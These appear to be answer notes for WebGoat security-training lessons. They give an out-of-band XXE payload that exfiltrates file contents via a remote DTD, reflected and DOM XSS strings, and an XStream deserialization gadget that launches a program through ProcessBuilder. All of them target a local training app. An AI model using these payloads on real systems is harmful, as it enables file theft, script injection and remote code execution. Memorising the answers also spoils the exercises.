* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
* %all;
* </pre>
*
* This will be reduced to:
*
* <pre>
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
* </pre>
*
* Wire it all up in the xml send to the server:
*
* <pre>
* <?xml version="1.0"?>
* <!DOCTYPE root [
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/plugin/XXE/test.dtd">
* %remote;
* ]>
* <user>
* <username>test&send;</username>
* </user>
*
* </pre>
*
*/
###XSS ###
<script>alert('my javascript here')</script>4128 3214 0002 1999
DOM-XSS ...
// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
### Vuln - Components ###
Jquery page: - it is contrived; but paste that in each box
OK<script>alert("XSS")<\/script>
OK<script>alert("XSS")<\/script>
for the deserialization: got to the link: http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ to read about why it works so you can talk to it.
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>